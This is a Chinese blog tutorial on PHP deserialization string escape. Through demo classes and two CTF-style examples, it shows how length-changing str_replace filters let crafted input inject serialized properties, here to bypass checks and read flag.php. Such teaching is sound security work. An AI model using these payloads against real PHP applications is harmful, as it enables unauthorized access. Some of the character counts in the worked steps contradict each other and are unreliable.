Loading

PHP反序列化基础之字符串逃逸

反序列化分隔符:

反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

对于反序列化中的每个字符串内容长度是由前面的数字来确定的,跟后面跟的字符串没有关系

所以到底是功能性符号还是字符串,是由前面的数字来确定的。

字符串逃逸之减少:

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));//将传入的v1,v2的值放进A类中然后将A实例化的对象进行序列化
$data = str_replace("system()","",$data);
//将得到的序列化后的字符串中的system()字符替换为空
var_dump(unserialize($data));
?>

object(A)#1 (2) { ["v1"]=> NULL ["v2"]=> NULL }

将代码稍微修改一下:

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = "system()";
$b = "system()";
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump($data);
?>
输出结果:
string(44) "O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:8:"";}"

可以看到上面输出的结果中字符串长度是8,但是其实里面没有字符串了。如果进行反序列化的话,是失败的

但是看这个字符串

string(44) "O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:8:"";}"
由于长度的读取是按照前面的数字来确定的,不是后面的字符串
也就是说:
s:8:"  ";s:2"v2
一直到v2这个字符这块都是属于v1的字符串的

如果我们想插入一个v3,删掉v2的话(其实也就是逃逸v3),应该怎么做呢?

看下面这个:

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

}
$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump($data);
?>
"O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}"

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}

变成下面这样就可以====>

O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:";s:2:"v3":N;}

现在问题来了?怎么能变成这样?又怎么凭空多出来v3变量?

就用到下面几点:

  1. str_replace会将system()替换为空
  2. 反序列化读取字符串的时候的停止位置 只与前面确定字符串长度的数字有关
  3. str_replace由于是直接替换,并不会改变前面确定字符串长度的数字

所以思路就是:

  1. 通过写入system来增大前面确定字符串长度的数字
  2. system被替换后为空,导致反序列化会根据确定字符串长度的数字继续向后读取字符串
  3. 通过这样的读取,来将v2所在的位置全部当作字符串读取进v1变量
  4. 再通过传入v2的参数来增加一个v3变量及其数据

具体操作:

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3;"123";}

要被吃掉的字符为:

";s:2:"v2";s:3;"123"

一共20个字符

O:1:"A":2:{s:2:"v1";s:20:"system()system()system()";s:2:"v2";s:3:"";s:2:"v3";N;}";}

===》(由于一个system可以吃掉8个字符,两个system()吃不完20个字符,所以至少需要三个system())

O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:3:"";s:2:"v3";N;}";}

但是由于三个system()又会将我们构造v3吃掉

所以必须通过v2来增加长度,来保证不会吃到v3

O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:4:"1234567";s:2:"v3";N;}";}

但是这样还是有问题,v2的字符串长度为4,在序列化的时候由于还加入了;s:2:"v3":N;}作为v2的字符串,长度不可能为4,所以在这里还要将v2的长度更改一下

O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

<?php
class A{
    public $v1 = "system()system()system()";
    public $v2 = '1234567";s:2:"v3";N;}';

}
$data = serialize(new A());
echo $data;
$data = str_replace("system()","",$data);
echo $data;
var_dump(unserialize($data));
?>
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
  ["v1"]=>
  string(24) "";s:2:"v2";s:21:"1234567"
  ["v2"]=>
  string(21) "1234567";s:2:"v3";N;}"
  ["v3"]=>
  NULL
}

字符串逃逸之增多:

反序列化字符串减少逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

<?php
class A{
    public $v1 = 'ls';
    public $v2 = '123';
}
$data =  serialize(new A($a,$b));
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));


O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
bool(false)

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

对于这个字符串,在进行反序列化的时候,只能读取到pw,d是读取不到的,

也就是说在这个时候会将d当做一个功能型字符,而不是代表值的普通字符串

所以在这个时候我们就想:既然能多出来一个当作功能性的字符,

那我们能不能直接多一个成员属性(也就是逃逸出v3)

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

变成====》

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v3";s:3:"123";}"s:2:"v2";s:3:"123";}

思路:

  1. 写入ls来替换为pwd,替换的时候,前面用来确定的数字不会变。
  2. ls被替换成pwd后,反序列化的时候会根据前面用来确定的数字来读取字符串
  3. 每替换一个ls,都会增加一个字符
  4. 读取完读取的数据后,会将后面剩下的代表值字符串当作功能性字符串使用
  5. 只要功能性字符串为我们想要逃逸的内容即可

有了前面字符串逃逸之减少的经验,直接写具体操作:

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

需要增加的字符为:

";s:2:"v3";s:3:"123";} -------->22个字符

也就是说我们需要增加22个字符的位置,来帮助逃逸

22个字符就是22个ls

22个ls不好数,可以直接python脚本或者php脚本输出22个

print(22*'ls')

序列化后的数据为:

O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}

替换后的数据:

O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}

成功实现逃逸出"";s:2:"v3";s:3:"123";};}

反序列化的时候会将";s:2:"v3";s:3:"123"当作一个成员属性反序列化到对象当中

后面剩下的怎么办?

直接到最上面看!!!!

读取完正确的字符串后;}当作功能性字符串来处理,即结束符

<?php
  class A{
  public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}';
  public $v2 = '123';
}
$data =  serialize(new A($a,$b));
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;

var_dump(unserialize($data));

O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
object(A)#1 (3) {
  ["v1"]=>
  string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(3) "666"
}

例题:

字符串逃逸之增多

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
//会替换传入的字符串中的flag、php为hack
//字符串逃逸就在这里:php会变成hack,替换后字符串变长了
//从而增加一个新的pass,将原来的pass抛弃
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){//实例化对象的时候自动调用
        $this->user=$user;
    //-4.将get传入的值赋给user,但是必须要pass=escaping的时候才行
    //所以就需要通过字符串逃逸,来重新给pass赋值
  }
}
$param=$_GET['param'];
$param=serialize(new test($param));//-5.将传入的字符串当作参数传给test对象后进行序列化
$profile=unserialize(filter($param));//-3.反序列化过滤掉危险值的字符串

if ($profile->pass=='escaping'){ //-2.只有当profile对象中的pass=escaping时,才能输出
    echo file_get_contents("flag.php");//-1.想要输出flag.php
}
?>

正常直接输出的序列化字符串为:

O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"daydream";}

我们需要构造成====》

O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"escaping";}s:4:"pass";s:8:"daydream";}

然后数一下长度:

为了不数错使用python计算一下:

>>> a = '";s:4:"pass";s:8:"escaping";}'
>>> print(len(a))
29

需要逃逸出来28个字符串也就是需要28个php来填充

print('php'*29)

所以构造出来的为

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:"pass";s:8:"escaping";}

序列化后的数据为:

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

过滤后的数据:

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param=serialize(new test($param));
echo $param;
$a = filter($param);
echo $a;
$profile=unserialize($a);
var_dump($profile);
?>

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
object(test)#1 (2) {
  ["user"]=>
  string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
  ["pass"]=>
  string(8) "escaping"
}

执行成功后,查看页面源代码:

字符串逃逸之减少:

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
//将传入的字符串中的flag、php都替换为hk
//由于无论是flag还是php替换为hk都会减少字符
//所以在此处造成字符串逃逸
}
class test{
    var $user;
    var $pass;
    var $vip = false ;//通过构造的字符串逃逸,将vip的值覆盖为true
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));//将参数传入test后,将test实例化付给param
$profile=unserialize(filter($param));//将过滤掉危险值的字符串进行反序列化

if ($profile->vip){//只有当profile对象中的vip属性为true的时候才能输出flag.php
    echo file_get_contents("flag.php");
}
?>

直接输出得到的序列化后的字符串:

O:4:"test":3:{s:4:"user";N;s:4:"pass";N;s:3:"vip";b:0;}

需要变成的字符串:

O:4:"test":3:{s:4:"user";s:0:"";s:4:"pass";s:0:"";s:3:"vip";b:1;}

也就是将中间的都当作user的值吃掉

然后利用pass,将vip=1传进去

最终过滤应该是:

O:4:"test":3:{s:4:"user";s:0:"";s:4:"pass";s:0:"";s:3:"vip";b:1;}

计算被吃掉的长度:

>>> a = '";s:4:"pass";s:xx:"'   //此处xx代表后面的字符串长度一定大于9,所以用两位数代替
>>> print(len(a))
19

一个flag替换为hk后可以吃掉两个字符,一个php替换为hk可以吃掉一个字符

所以可以使用9个flag和1个php来构造

所以user=flagflagflagflagflagflagflagflagflagphp

pass=";s:3:"vip";b:1;}

但是这样最构造出来的只有两个属性值,本来是有三个属性值

所以需要重新构造pass,在pass里面添加一个pass

pass=";s:4:"pass";s:0:"";s:3:"vip";b:1;}

最终构造出来的:

O:4:"test":3:{s:4:"user";s:39:"flagflagflagflagflagflagflagflagflagphp";s:4:"pass";s:35:"";s:4:"pass";s:0:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
O:4:"test":3:{s:4:"user";s:39:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:35:"";s:4:"pass";s:0:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
object(test)#1 (3) {
  ["user"]=>
  string(39) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:35:""
  ["pass"]=>
  string(0) ""
  ["vip"]=>
  bool(true)
}
posted @ 2025-04-05 12:17  赟希  阅读(106)  评论(0)    收藏  举报